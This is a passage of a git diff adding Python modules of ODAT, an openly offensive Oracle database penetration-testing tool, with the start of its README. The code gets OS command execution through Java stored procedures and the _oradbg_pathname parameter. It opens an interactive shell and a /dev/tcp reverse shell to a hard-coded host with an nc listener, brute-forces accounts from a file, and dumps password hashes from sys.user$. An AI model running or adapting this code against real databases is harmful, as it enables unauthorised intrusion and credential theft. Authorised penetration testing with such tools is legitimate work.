"select oscmd('{0}') from dual" + self.SOURCE_DROP_CLASS = "DROP JAVA SOURCE \"OSCommand\"" + self.SOURCE_DROP_FUNCTION = "DROP FUNCTION oscmd" + self.LINUX_CMD_ERROR = 'No such file or directory' + self.JAVA_SESSION_CLEARED = "Java session state cleared" + + def createClassAndFunctionToExecOsCmd(self): + ''' + CREATE AND COMPILE JAVA CLASS and CREATE FUNCTION TO CALL JAVA + ''' + logging.info("Create and compile the java class") + status = self.__execPLSQL__(self.SOURCE_OS_COMMAND_CLASS) + if isinstance(status,Exception): + logging.info("Impossible to create and compile the java class: {0}".format(self.cleanError(status))) + return status + else : + logging.info("Create a function to call java") + status = self.__execPLSQL__(self.SOURCE_OS_COMMAND_CREATE_FUNCTION) + if isinstance(status,Exception): + logging.info("Impossible to create function to call java: {0}".format(self.cleanError(status))) + return status + else : + return True + + def deleteClassAndFunctionToExecOsCmd(self): + ''' + Delete the COMPILED JAVA CLASS and delete the CREATED FUNCTION + ''' + logging.info("Delete the PL/SQL function created") + status = self.__execPLSQL__(self.SOURCE_DROP_FUNCTION) + if isinstance(status,Exception): + logging.info("Impossible to drop the function: {0}".format(self.cleanError(status))) + return status + else: + logging.info("Delete the java class compiled") + status = self.__execPLSQL__(self.SOURCE_DROP_CLASS) + if isinstance(status,Exception): + logging.info("Impossible to drop the class: {0}".format(self.cleanError(status))) + return status + return True + + def __runOSCmd__ (self,cmd,printResponse=True,retryNb=1): + ''' + Run a OS command + defineClassAndFunctionToExecOsCmd() must be run before this one + return string (stdout or stderr) or Exception + ''' + logging.info("Execute the following command system remotly: {0}".format(cmd)) + data = self.__execQuery__(query=self.SOURCE_OS_COMMAND_EXEC.format(cmd),ld=[]) + if isinstance(data,Exception): + logging.info("Impossible to execute the system command: {0}".format(str(data))) + if self.JAVA_SESSION_CLEARED in str(data): + if retryNb == 0 : return data + logging.info("Run again the OS command...") + return self.__runOSCmd__ (cmd=cmd,printResponse=printResponse,retryNb=retryNb-1) + return data + if data[0][0] == None : + logging.info('The system command output is empty') + return '' + else : + logging.info('The system command output is: `{0}`...'.format(data[0][0][:50])) + if printResponse == True : self.args['print'].printOSCmdOutput("{0}".format(data[0][0])) + return data[0][0] + + def execOSCommand(self,cmd,printResponse=True, needCreateClassAndFunction = True, needDeleteClassAndFunction = True): + ''' + Run a OS command + ''' + if needCreateClassAndFunction == False : + data = self.__runOSCmd__ (cmd=cmd,printResponse=printResponse) + else : + status = self.createClassAndFunctionToExecOsCmd() + if status != True: + self.args['print'].badNews("Impossible to use the JAVA library to execute a system command: {0}".format(str(status))) + return status + else: + data = self.__runOSCmd__ (cmd=cmd,printResponse=printResponse) + if needDeleteClassAndFunction == True : + status = self.deleteClassAndFunctionToExecOsCmd() + if status != True: + self.args['print'].goodNews("Impossible to delete functions created: {0}".format(self.cleanError(status))) + if isinstance(data,Exception) == False : return data + + def getInteractiveShell(self): + ''' + Give an interactive shell to the user + Return True if Ok, otherwise return False + ''' + exit, needCreateClassFunctions = False, True + while exit == False: + try: + if needCreateClassFunctions == True : + status = self.createClassAndFunctionToExecOsCmd() + if status == False: + self.args['print'].badNews("Impossible to use the JAVA library to execute a system command: {0}".format(str(status))) + return False + needCreateClassFunctions = False + else : + cmd = raw_input('{0}$ '.format(self.args['server'])) + output = self.execOSCommand(cmd=cmd,printResponse=True, needCreateClassAndFunction = False, needDeleteClassAndFunction = False) + except KeyboardInterrupt: + status = self.deleteClassAndFunctionToExecOsCmd() + if status != True: + self.args['print'].badNews("Impossible to delete functions created: {0}".format(self.cleanError(status))) + return True + return False + + def __runListenNC__ (self,port=None): + ''' + nc listen on the port + ''' + try : + subprocess.call("nc -l -v {0}".format(port), shell=True) + except KeyboardInterrupt: pass + + def giveReverseShell(self, localip, localport): + ''' + Give a reverse tcp shell via nc + Need upload nc.exe if the remote system is windows + ''' + BIN_NAMEFILE = "nc.exe" + FTP_CMDS_FILENAME = "C\\temp\\cmd.txt" + FTP_COMMANDS = ''' + echo 'binary' > {0} + echo 'mget {1}' > {0} + echo 'disconnect' > {0} + echo 'quit' > {0} + '''.format(FTP_CMDS_FILENAME,BIN_NAMEFILE) + FTP_GET_FILE_COMMAND = "ftp -a -s:{0}".format(FTP_CMDS_FILENAME) + if self.remoteSystemIsWindows() == True : + logging.info('The remote system is windows. I will upload the nc.exe binary on the remote server to give you a reverse shell') + #self.execOSCommand(cmd="",printResponse=True, needCreateClassAndFunction = True, needDeleteClassAndFunction = True) + elif self.remoteSystemIsLinux() == True : + CMD = "exec 5<>/dev/tcp/{0}/{1}; /bin/cat <&5 | while read line; do $line 2>&5 >&5; done".format("192.168.56.1",localport) + self.args['print'].goodNews("The reverse shell try to connect to {0}:{1}".format(localip,localport)) + a = Thread(None, self.__runListenNC__, None, (), {'port':localport}) + a.start() + try : + self.execOSCommand(cmd=CMD,printResponse=True, needCreateClassAndFunction = True, needDeleteClassAndFunction = True) + except KeyboardInterrupt: + self.args['print'].goodNews("Connection closed") + else : + logging.error("The remote server OS ({0}) is unknown".format(self.remoteOS.lower())) + + + + def testAll (self): + ''' + Test all functions + ''' + command = self.__generateRandomString__() + self.args['print'].subtitle('JAVA library ?') + logging.info("Try to use JAVA in order to execute the following random command: {0}".format(command)) + status = self.createClassAndFunctionToExecOsCmd() + if status != True: + self.args['print'].badNews("KO") + else: + data = self.__runOSCmd__ (command,printResponse=False) + if data == '': + logging.info("The system command {0} return no error, it's impossible with this random command".format(command)) + self.args['print'].badNews("KO") + else : + self.args['print'].goodNews("OK") + status = self.deleteClassAndFunctionToExecOsCmd() + if status != True: + self.args['print'].info("Impossible to delete functions created: {0}".format(self.cleanError(status))) + +def runjavaModule(args): + ''' + Run the JAVA module + ''' + status = True + if checkOptionsGivenByTheUser(args,["test-module","shell","reverse-shell"]) == False : return EXIT_MISS_ARGUMENT + java = Java(args) + status = java.connection(stopIfError=True) + if args['test-module'] == True : + args['print'].title("Test if the DBMSScheduler library can be used") + status = java.testAll() + #Option 1: exec + if args['exec'] != None: + args['print'].title("Execute the `{0}` on the {1} server".format(args['exec'],args['server'])) + status = java.execOSCommand(cmd=args['exec'],printResponse=True, needCreateClassAndFunction = True, needDeleteClassAndFunction = True) + #Option 2: shell + if args['shell'] == True: + args['print'].title("Try to give you a pseudo shell to the {0} server".format(args['server'])) + java.getInteractiveShell() + #Option 3: reverse shell + if args['reverse-shell'] != None : + args['print'].title("Try to give you a nc reverse shell from the {0} server".format(args['server'])) + java.giveReverseShell(localip=args['reverse-shell'][0],localport=args['reverse-shell'][1]) + java.close() + + diff --git a/OracleDatabase.py b/OracleDatabase.py new file mode 100644 index 0000000..a168822 --- /dev/null +++ b/OracleDatabase.py @@ -0,0 +1,298 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +import logging, random, string, cx_Oracle +from Utils import areEquals,checkOracleVersion,getOracleConnection,ErrorSQLRequest +from progressbar import * +from time import sleep +from sys import exit +from Constants import * + +class OracleDatabase: + ''' + ''' + def __init__(self,args): + ''' + Constructor + ''' + self.args = args + self.__generateConnectionString__() + self.oracleDatabaseversion = '' + self.remoteOS = '' + self.TARGET_UNAVAILABLE = ["Connect failed because target host or object does not exist", + "listener could not find available handler with matching protocol stack"] + self.ERROR_BAD_FOLDER_OR_BAD_SYSTEM_PRIV = "ORA-29283: " + self.ERROR_NO_PRIVILEGE = "ORA-24247: " + self.ERROR_NO_PRIVILEGE_INVALID_ID = "ORA-00904: " + self.ERROR_NOT_SYSDBA = "ORA-28009: " + self.ERROR_INSUFF_PRIV_CONN = "ORA-01031: " + self.ERROR_CONN_IMPOSS = "ORA-12541: " + self.ERROR_XML_DB_SECU_NOT_INST = "ORA-24248: " + self.ERROR_UNABLE_TO_ACQUIRE_ENV = "Unable to acquire Oracle environment handle" + self.ERROR_NOT_CONNECTED = "ORA-03114: " + + def __generateConnectionString__(self): + ''' + Generate Oracle Database connection string + ''' + self.args['connectionStr'] = "{0}/{1}@{2}:{3}/{4}".format(self.args['user'],self.args['password'],self.args['server'],self.args['port'],self.args['sid']) + logging.debug('Oracle connection string: {0}'.format(self.args['connectionStr'])) + return self.args['connectionStr'] + + def connection(self,threaded =True, stopIfError=False): + ''' + Connection to the database + 'The threaded argument is expected to be a boolean expression which indicates whether or not Oracle + should use the mode OCI_THREADED to wrap accesses to connections with a mutex. Doing so in single threaded + applications imposes a performance penalty of about 10-15% which is why the default is False.' + If stopIfError == True, stop if connection error + ''' + try: + if self.args['SYSDBA'] == True : + self.args['dbcon'] = cx_Oracle.connect(self.args['connectionStr'], mode=cx_Oracle.SYSDBA,threaded=threaded) + elif self.args['SYSOPER'] == True : + self.args['dbcon'] = cx_Oracle.connect(self.args['connectionStr'], mode=cx_Oracle.SYSOPER,threaded=threaded) + else : + self.args['dbcon'] = cx_Oracle.connect(self.args['connectionStr'],threaded=threaded) + self.args['dbcon'].autocommit = True + if self.remoteOS == '' and self.oracleDatabaseversion=='' : self.loadInformationRemoteDatabase() + return True + except Exception, e: + if self.ERROR_CONN_IMPOSS in str(e) or self.ERROR_UNABLE_TO_ACQUIRE_ENV in str(e): + logging.critical("Impossible to connect to the remost host") + exit(EXIT_BAD_CONNECTION) + elif self.ERROR_NOT_SYSDBA in str(e): + logging.info("Connection as SYS should be as SYSDBA or SYSOPER, try to connect as SYSDBA") + self.args['SYSDBA'] = True + return self.connection(threaded=threaded, stopIfError=stopIfError) + elif self.ERROR_INSUFF_PRIV_CONN in str(e): + logging.info("Insufficient privileges, SYSDBA or SYSOPER disabled") + self.args['SYSDBA'] = False + self.args['SYSOPER'] = False + return self.connection(threaded=threaded, stopIfError=stopIfError) + elif stopIfError == True: + logging.critical("Impossible to connect to the remote database: {0}".format(self.cleanError(e))) + exit(EXIT_BAD_CONNECTION) + else : return ErrorSQLRequest(e) + + + def __retryConnect__(self, nbTry=3): + ''' + Try to re connect when TARGET UNAVAILABLE + return status + return None if impossible to connect to the database server + ''' + timesleep, status = 2, '' + for tryNum in range(nbTry): + logging.debug("Re connection {0} to the listener on the {1} server".format(tryNum+1, self.args['server'])) + sleep(timesleep) + status = self.connection() + if self.__needRetryConnection__(status) == False: + logging.debug("Re-connection done !") + return status + if tryNum == nbTry-1 : + logging.warning("Becareful! The remote is now unavailable. {0} SID not tried. Perhaps you are doing a DOS on the listener.".format(self.args['sid'])) + timesleep += 4 + logging.debug("Impossible to re-establish the connection!") + return None + + def __needRetryConnection__ (self, status): + ''' + Return True if need retry the connection (server unaivalable) + else return False + ''' + for aString in self.TARGET_UNAVAILABLE: + if aString in str(status): + return True + return False + + def close(self): + ''' + Close connection to the database + ''' + if self.args.has_key('dbcon'): + try: + self.args['dbcon'].close() + except Exception, e: + logging.debug("Impossible to close the connection to the database: {0}".format(e)) + + def __execThisQuery__(self,query=None,ld=[],isquery=True): + ''' + Permet de définir un cursor et execute la requete sql + Si ld != [], active le chargement dans un dictionnaire des + resultats + ''' + cursor = self.args['dbcon'].cursor() + try: + if SHOW_SQL_REQUESTS_IN_VERBOSE_MODE == True: logging.info("SQL request executed: {0}".format(query)) + cursor.execute(query) + except Exception, e: + logging.info("Impossible to execute the query `{0}`: `{1}`".format(query, self.cleanError(e))) + if self.ERROR_NOT_CONNECTED in str(e): + status = self.__retryConnect__(nbTry=3) + if status == None : + return ErrorSQLRequest("Disconnected. Impossible to re-establish a connection to the database server !") + else : + return self.__execThisQuery__(query=query,ld=ld,isquery=isquery) + else : + return ErrorSQLRequest(e) + if isquery==True : + try : + results = cursor.fetchall() + except Exception, e: + logging.info("Impossible to fetch all the rows of the query {0}: `{1}`".format(query, self.cleanError(e))) + return ErrorSQLRequest(e) + else : + cursor.close() + return 0 + cursor.close() + if ld==[] : return results + else : + values = [] + for line in results: + dico = {} + for i in range(len(line)): + dico[ld[i]] = line[i] + values.append(dico) + return values + + def __execPLSQL__(self,request): + ''' + Execute this PL/SQL request + ''' + return self.__execThisQuery__(query=request,ld=[],isquery=False) + + def __execQuery__(self,query,ld=[]): + ''' + Execute the query (not PL/SQL) and parse response + ''' + return self.__execThisQuery__(query=query, ld=ld, isquery=True) + + def __execProc__(self,proc,options=None): + ''' + Execute the stored procedure + ''' + cursor = cx_Oracle.Cursor(self.args['dbcon']) + try: + if options == None : + cursor.callproc(proc) + else: + cursor.callproc(proc,options) + except Exception, e: + logging.info("Impossible to execute the procedure `{0}`: {1}".format(proc, self.cleanError(e))) + cursor.close() + return ErrorSQLRequest(e) + cursor.close() + return True + + def __execPLSQLwithDbmsOutput__(self,request,addLineBreak=False): + ''' + Execute the request containing dbms_output + ''' + responsedata = "" + cursor = cx_Oracle.Cursor(self.args['dbcon']) + try : + cursor.callproc("dbms_output.enable") + try: + cursor.execute(request) + except Exception, e: + logging.info("Impossible to execute the query `{0}`: {1}".format(request, self.cleanError(e))) + return ErrorSQLRequest(e) + else : + statusVar = cursor.var(cx_Oracle.NUMBER) + lineVar = cursor.var(cx_Oracle.STRING) + while True: + cursor.callproc("dbms_output.get_line", (lineVar, statusVar)) + if statusVar.getvalue() != 0: + break + line = lineVar.getvalue() + if line == None : + line = '' + responsedata += line + if addLineBreak == True : responsedata +='\n' + cursor.close() + except Exception, e: + logging.info("Error with the request: {0}".format(str(e))) + return ErrorSQLRequest(e) + return responsedata + + def __generateRandomString__(self, nb=20): + ''' + Generate a random string of nb chars + ''' + return ''.join(random.choice(string.ascii_uppercase) for x in range(nb)) + + def __loadFile__(self, localFile): + ''' + Return if it is a text file and return data stored in the localFile file + If an error, return the error + ''' + logging.debug("Loading the {0} file".format(localFile)) + data = '' + try: + f = open(localFile,'rb') + data = f.read() + f.close() + except Exception, e: + logging.warning('Error during the read: {0}'.format(str(e))) + return e + return data + + def getStandardBarStarted(self, maxvalue): + """Standard status bar""" + return ProgressBar(widgets=['', Percentage(), ' ', Bar(),' ', ETA(), ' ',''], maxval=maxvalue).start() + + def cleanError(self,errorMsg): + ''' + Replace \n and \t by escape + ''' + return str(errorMsg).replace('\n',' ').replace('\t',' ') + + def writeFile(self,nameFile, data): + ''' + Write a new file named nameFile containing data + Return True if Good, otherwise return False + ''' + logging.info("Create the {0} file".format(nameFile)) + try: + f = open(nameFile,'w') + f.write(data) + f.close() + except Exception, e: + logging.warning('Error during the writing of the {0} file: {1}'.format(nameFile,self.cleanError(e))) + return False + return True + + def loadInformationRemoteDatabase(self): + ''' + Get the oracle versions + ''' + if 'dbcon' not in self.args : + self.remoteOS = "" + return False + logging.debug ("Pickup the remote verion") + self.oracleDatabaseversion = self.args['dbcon'].version + logging.debug ("Pickup the remote Operating System") + REQ = "select rtrim(substr(replace(banner,'TNS for ',''),1,instr(replace(banner,'TNS for ',''),':')-1)) os from v$version where banner like 'TNS for %'" + response = self.__execQuery__(query=REQ,ld=['OS']) + if isinstance(response,Exception): + return False + else : + if isinstance(response,list) and isinstance(response[0],dict): + self.remoteOS = response[0]['OS'] + logging.info("OS version : {0}".format(self.remoteOS)) + return True + + def remoteSystemIsWindows(self): + ''' + Return True if Windows + ''' + if "windows" in self.remoteOS.lower() : return True + else : return False + + def remoteSystemIsLinux(self): + ''' + Return True if Linux + ''' + if "linux" in self.remoteOS.lower() or 'solaris' in self.remoteOS.lower() : return True + else : return False diff --git a/Oradbg.py b/Oradbg.py new file mode 100644 index 0000000..f49c29e --- /dev/null +++ b/Oradbg.py @@ -0,0 +1,85 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from OracleDatabase import OracleDatabase +import logging, cx_Oracle +from Utils import ErrorSQLRequest, checkOptionsGivenByTheUser +from Constants import * + +class Oradbg (OracleDatabase): + ''' + Allow the user to execute a binary stored on the server + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("Oradbg object created") + OracleDatabase.__init__(self,args) + + def execOSCommand(self,cmd): + ''' + Execute a binary or script stored on the server + ''' + logging.info('Execute the following command on the remote database system: {0}'.format(cmd)) + logging.info('Be Careful: script or bin without special chars is allowed') + logging.debug('Setting the _oradbg_pathname variable to {0}'.format(cmd)) + REQUEST = "alter system set \"_oradbg_pathname\"='{0}'".format(cmd) + response = self.__execPLSQL__(REQUEST) + if isinstance(response,Exception): + logging.info("Impossible to set _oradbg_pathname: '{0}'".format(self.cleanError(response))) + return response + else: + logging.debug('Setting the system set events') + REQUEST = "alter system set events 'logon debugger'" + response = self.__execPLSQL__(REQUEST) + if isinstance(response,Exception): + logging.info('Impossible to set system events: {0}'.format(self.cleanError(response))) + return response + else : + logging.debug('Connecting to the database to run the script/bin') + status = self.connection(threaded=False, stopIfError=False) + if isinstance(response,Exception): + return ErrorSQLRequest("Impossible to connect to the remmote database to run the bin/script: {0}".format(self.cleanError(e))) + return True + + def testAll (self): + ''' + Test all functions + ''' + self.args['print'].subtitle("Oradbg ?") + command = self.__generateRandomString__() + logging.info("Try to use _oradbg_pathname variable to execute the following random command: {0}".format(command)) + status = self.execOSCommand(cmd=command) + if status == True : + self.args['print'].goodNews("OK") + else : + self.args['print'].badNews("KO") + + +def runOradbgModule(args): + ''' + Run the Oradbg module + ''' + status = True + if checkOptionsGivenByTheUser(args,["test-module","exec"]) == False : return EXIT_MISS_ARGUMENT + oradbg = Oradbg(args) + status = oradbg.connection(stopIfError=True) + if args['test-module'] == True : + args['print'].title("Test if the Oradbg can be used") + status = oradbg.testAll() + #Option 1: exec + if args['exec'] != None: + args['print'].title("Execute the `{0}` on the {1} server".format(args['exec'],args['server'])) + status = oradbg.execOSCommand(args['exec']) + if status == True: + args['print'].goodNews("The `{0}` command was executed on the {1} server (probably)".format(args['exec'],args['server'])) + else : + args['print'].badNews("The `{0}` command was not executed on the {1} server: {2}".format(args['exec'],args['server'],str(status))) + oradbg.close() + + + + + + diff --git a/Output.py b/Output.py new file mode 100644 index 0000000..79bd94c --- /dev/null +++ b/Output.py @@ -0,0 +1,81 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +#PYTHON_TERMCOLOR_OK +try: + from termcolor import colored + TERMCOLOR_AVAILABLE = True +except ImportError: + TERMCOLOR_AVAILABLE = False + +class Output (): + ''' + All output except log used this object + ''' + def __init__(self, args): + ''' + CONSTRUCTOR + ''' + self.args = args + self.noColor = args['no-color'] + self.titlePos = 0 + self.subTitlePos = 0 + + def title (self, m): + ''' + print a title + ''' + server, port = "", "" + m = m.encode(encoding='UTF-8',errors='ignore') + self.titlePos += 1 + self.subTitlePos = 0 + if self.args.has_key('server'): server = self.args['server'] + else: server = "Unknown" + if self.args.has_key('port'): port = self.args['port'] + else: port = "port" + formatMesg = '\n[{0}] {1}: {2}'.format(self.titlePos,'({0}:{1})'.format(server,port),m) + if self.noColor == True or TERMCOLOR_AVAILABLE == False: print formatMesg + else : print colored(formatMesg, 'white',attrs=['bold']) + + def subtitle (self, m): + ''' + print a subtitle + ''' + m = m.encode(encoding='UTF-8',errors='ignore') + self.subTitlePos += 1 + formatMesg = '[{0}.{1}] {2}'.format(self.titlePos, self.subTitlePos, m) + if self.noColor == True or TERMCOLOR_AVAILABLE == False: print formatMesg + else : print colored(formatMesg, 'white',attrs=['bold']) + + def badNews (self, m): + ''' + print a stop message + ''' + m = m.encode(encoding='UTF-8',errors='ignore') + formatMesg = '[-] {0}'.format(m) + if self.noColor == True or TERMCOLOR_AVAILABLE == False: print formatMesg + else : print colored(formatMesg, 'red',attrs=['bold']) + + def goodNews(self,m): + ''' + print good news + ''' + m = m.encode(encoding='UTF-8',errors='ignore') + formatMesg = '[+] {0}'.format(m) + if self.noColor == True or TERMCOLOR_AVAILABLE == False: print formatMesg + else : print colored(formatMesg, 'green',attrs=['bold']) + + def unknownNews(self,m): + ''' + print unknow news + ''' + m = m.encode(encoding='UTF-8',errors='ignore') + formatMesg = '[+] {0}'.format(m) + if self.noColor == True or TERMCOLOR_AVAILABLE == False: print formatMesg + else : print colored(formatMesg, 'yellow',attrs=['bold']) + + def printOSCmdOutput(self,m): + ''' + print the output of a OS command + ''' + print m.encode(encoding='UTF-8',errors='ignore') diff --git a/PasswordGuesser.py b/PasswordGuesser.py new file mode 100644 index 0000000..c3d5376 --- /dev/null +++ b/PasswordGuesser.py @@ -0,0 +1,142 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from OracleDatabase import OracleDatabase +from time import sleep +import logging, os.path +from Constants import * +from Utils import sidHasBeenGiven + +class PasswordGuesser (OracleDatabase): + ''' + Password guesser + ''' + def __init__(self,args,accountsFile,timeSleep=0): + ''' + Constructor + ''' + OracleDatabase.__init__(self,args) + self.accountsFile = accountsFile + if self.accountsFile == '' : self.accounts = [] + else : self.accounts = self.__getAccounts__() + self.valideAccounts = {} + self.args['SYSDBA'] = False + self.args['SYSOPER'] = False + self.timeSleep = timeSleep + + def getAccountsFromFile (self): + ''' + return list which contains accounts + ''' + return self.accounts + + def __getAccounts__(self): + ''' + return list containing accounts + ''' + accounts = [] + logging.info('Load accounts stored in the {0} file'.format(self.accountsFile)) + f = open(self.accountsFile) + for l in f: + lsplit = l.replace('\n','').replace('\t','').split('/') + if isinstance(lsplit,list) and len(lsplit) == 2 : + accounts.append([lsplit[0],lsplit[1]]) + f.close() + return sorted(accounts, key=lambda x: x[0]) + + def searchValideAccounts(self): + ''' + Search valide accounts + ''' + userChoice = 1 + logging.info("Searching valid accounts on {0}:{1}/{2}".format(self.args['server'], self.args['port'], self.args['sid'])) + pbar,nb = self.getStandardBarStarted(len(self.accounts)), 0 + for anAccount in self.accounts : + nb += 1 + pbar.update(nb) + logging.debug("Try to connect with {0}".format('/'.join(anAccount))) + self.args['user'], self.args['password'] = anAccount[0], anAccount[1] + self.__generateConnectionString__() + status = self.__saveThisLoginInFileIfNotExist__(self.args['user']) + if self.args['force-retry'] == False and status == False and userChoice ==1: + userChoice = self.__askToTheUserIfNeedToContinue__(self.args['user']) + if userChoice == 0 : + logging.info("The attack is aborded because you choose to stop (s/S)") + break + status = self.connection() + if status == True: + self.valideAccounts[self.args['user']] = self.args['password'] + logging.info("Valid credential: {0} ({1}) ".format('/'.join(anAccount),self.args['connectionStr'])) + elif "connection as SYS should be as SYSDBA or SYSOPER" in str(status): + logging.debug("Try to connect as sysdba") + self.args['SYSDBA'] = True + status = self.connection() + if status == True: + self.valideAccounts[self.args['user']] = self.args['password'] + logging.info("Valid credential: {0} ({1}) ".format('/'.join(anAccount),self.args['connectionStr'])) + self.args['SYSDBA'] = False + elif self.__needRetryConnection__(status) == True: + status = self.__retryConnect__(nbTry=4) + self.close() + sleep(self.timeSleep) + pbar.finish() + return True + + def __saveThisLoginInFileIfNotExist__(self,login): + ''' + Save this login in the trace file to known if this login has already been tested + If the login is in the file , return False. Otherwise return True + ''' + if self.args.has_key('loginTraceFile') == False: + self.args['loginTraceFile'] = "{0}-{1}-{2}{3}".format(self.args['server'],self.args['port'],self.args['sid'],PASSWORD_EXTENSION_FILE) + if os.path.isfile(self.args['loginTraceFile']) == False: + f=open(self.args['loginTraceFile'],'w') + f.close() + logging.info("The {0} file has been created".format(self.args['loginTraceFile'])) + f=open(self.args['loginTraceFile'],'r') + for l in f: + aLoginInFile = l.replace('\n','') + if login == aLoginInFile : + f.close() + return False + f.close() + f=open(self.args['loginTraceFile'],'a') + f.write('{0}\n'.format(login)) + f.close() + return True + + def __askToTheUserIfNeedToContinue__(self,login): + ''' + Ask to the user if the module need to continue + return: + - 0 : stop (no) + - 1 : continue and ask again (yes) + - 2 : continue without ask (yes) + ''' + def askToContinue (): + rep = raw_input("The login {0} has already been tested at least once. What do you want to do:\n- stop (s/S)\n- continue and ask every time (a/A)\n- continue without to ask (c/C)\n".format(login)) + if rep == 's' or rep == 'S' : return 0 + elif rep == 'a' or rep == 'A' : return 1 + elif rep == 'c' or rep == 'C' : return 2 + else : return -1 + rep = askToContinue() + while (rep==-1): + rep = askToContinue() + return rep + +def runPasswordGuesserModule(args): + ''' + Run the PasswordGuesser module + ''' + if sidHasBeenGiven(args) == False : return EXIT_MISS_ARGUMENT + args['print'].title("Searching valid accounts on the {0} server, port {1}".format(args['server'],args['port'])) + passwordGuesser = PasswordGuesser(args,args['accounts-file'],timeSleep=args['timeSleep']) + passwordGuesser.searchValideAccounts() + validAccountsList = passwordGuesser.valideAccounts + if validAccountsList == {}: + args['print'].badNews("No found a valid account on {0}:{1}/{2}".format(args['server'], args['port'], args['sid'])) + else : + args['print'].goodNews("Accounts found on {0}:{1}/{2}: {3}".format(args['server'], args['port'], args['sid'],validAccountsList)) + + + diff --git a/Passwords.py b/Passwords.py new file mode 100644 index 0000000..36919c9 --- /dev/null +++ b/Passwords.py @@ -0,0 +1,131 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from OracleDatabase import OracleDatabase +import logging +from Constants import * +from Info import Info +from Utils import checkOptionsGivenByTheUser + +class Passwords (OracleDatabase): + ''' + Password guesser + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("Passwords object created") + OracleDatabase.__init__(self,args) + self.passwords = [] + + def __resetPasswordList__(self): + ''' + reset self.passwords + ''' + self.passwords = [] + + def __tryToGetHashedPasswords__(self): + ''' + Try to get hashed password + In Oracle 11g-12g: select name, password, spare4 from sys.user$ + In Oracle 9-10: SELECT username, password FROM DBA_USERS; + ''' + self.__resetPasswordList__() + if self.args['info'].isVersion('11.') or self.args['info'].isVersion('12.'): + req = "SELECT name, password, spare4 FROM sys.user$" + results = self.__execQuery__(query=req,ld=['name', 'password','spare4']) + else : + req = "SELECT username, password FROM DBA_USERS" + results = self.__execQuery__(query=req,ld=['username', 'password']) + if isinstance(results,Exception): + logging.info("Impossible to get hashed passwords: {0}".format(results)) + return results + else : + logging.info("Get hashed passwords") + for l in results: + self.passwords = results + return True + + def __tryToGetHashedPasswordsfromHistory__(self): + ''' + Try to get hashed password from select * from sys.user_history$; + PASSWORD_REUSE_TIME or/and PASSWORD_REUSE_MAX must be used to have passwords in this table + ''' + self.__resetPasswordList__() + req = "SELECT user#, password, password_date FROM sys.user_history$" + results = self.__execQuery__(query=req,ld=['user#', 'password','password_date']) + if isinstance(results,Exception): + logging.info("Impossible to get hashed passwords from the sys.user_history$ table: {0}".format(results)) + return results + else : + logging.info("Get hashed passwords from the sys.user_history$ table") + for l in results: + self.passwords = results + return True + + def printPasswords (self): + ''' + print passwords + ''' + for l in self.passwords: + if len(l)==3 and l.has_key('name') and l.has_key('spare4'): + if l['password']!=None and l['spare4']!=None: print "{0}; {1}; {2}".format(l['name'], l['password'],l['spare4']) + elif l.has_key('username'): + if l['password']!=None: print "{0}:{1}".format(l['username'], l['password']) + elif l.has_key('user#'): + if l['password']!=None: print "{0}; {1}; {2}".format(l['user#'], l['password'], l['password_date']) + + def testAll (self): + ''' + Test all functions + ''' + self.args['print'].subtitle("Hashed Oracle passwords ?") + logging.info("Try to get Oracle hashed passwords") + status = self.__tryToGetHashedPasswords__() + if status == True : + self.args['print'].goodNews("OK") + else : + self.args['print'].badNews("KO") + self.args['print'].subtitle("Hashed Oracle passwords from history?") + logging.info("Try to get Oracle hashed passwords from the history table") + status = self.__tryToGetHashedPasswordsfromHistory__() + if status == True : + self.args['print'].goodNews("OK") + else : + self.args['print'].badNews("KO") + +def runPasswordsModule(args): + ''' + Run the Passwords module + ''' + status = True + if checkOptionsGivenByTheUser(args,["test-module","get-passwords","get-passwords-from-history"]) == False : return EXIT_MISS_ARGUMENT + passwords = Passwords(args) + status = passwords.connection(stopIfError=True) + if args.has_key('info')==False: + info = Info(args) + info.loadInformationRemoteDatabase() + args['info'] = info + if args['test-module'] == True : + args['print'].title("Test if hashed passwords can be got") + status = passwords.testAll() + if args['get-passwords'] == True : + args['print'].title("Try to get Oracle hashed passwords") + status = passwords.__tryToGetHashedPasswords__() + if status == True : + args['print'].goodNews("Here are Oracle hashed passwords:") + passwords.printPasswords() + else : + args['print'].badNews("Impossible to get hashed passwords: {0}".format(status)) + if args['get-passwords-from-history'] == True : + args['print'].title("Try to get Oracle hashed passwords from history") + status = passwords.__tryToGetHashedPasswordsfromHistory__() + if status == True : + args['print'].goodNews("Here are Oracle hashed passwords:") + passwords.printPasswords() + else : + args['print'].badNews("Impossible to get hashed passwords from history: {0}".format(status)) + + + diff --git a/README.md b/README.md index 5987f22..8b8746c 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,614 @@ -odat +__ODAT linux standalone__ version at [https://github.com/quentinhardy/odat-standalones](https://github.com/quentinhardy/odat-standalones) + +ODAT +==== + +__ODAT__ (Oracle Database Attacking Tool) is an open source __penetration testing__ tool that tests the security of __Oracle Databases remotely__. + +Usage examples of ODAT: +* You have an Oracle database listening remotely and want to find valid __SIDs__ and __credentials__ in order to connect to the database +* You have a valid Oracle account on a database and want to __escalate your privileges__ (ex: SYSDBA) +* You have a valid Oracle account and want to __execute commands on the operating system__ hosting this DB (ex: reverse shell) + + +Tested on Oracle Database __10g__, __11g__ and __12c__(12.1.0.2.0). + +Changelog +==== +* Version __1.6__ (__2015/07/14__) : + * new feature to detect if a target is vulnerable to TNS poisoning (CVE-2012-1675) + * new module named *unwrapper* to unwrap PL/SQL source code wrapped, from a file or a remote database + * some improvements done +* Version __1.5__ (__2015/03/17__) : + * new module named *search* in order to search in column names + * some improvements done (ex: output of tables) + * new option : output encoding +* Version __1.4__ (__2014/12/07__) : + * fix some false positives + * improve the CVE-2012-3137 module: check more easily if the vulnerability can be exploited +* Version __1.3__ (__2014/10/07__) : + * add the *-C* option in the *all* module. This module can be used to use file which contains credentials (disable the *-U* and *-P* option) + * add the *tnscmd* module to get TNS *alias*, database *version* (thanks to VSNNUM) and TNS *status* + * bug fix: name server can be given to the *-s* option +* Version __1.2__ (__2014/08/08__) : + * add the *SMB* module to capture a SMB authentication + * add an option (*SHOW_SQL_REQUESTS_IN_VERBOSE_MODE*) in *Constants.py* to show SQL requests sent to the database server +* 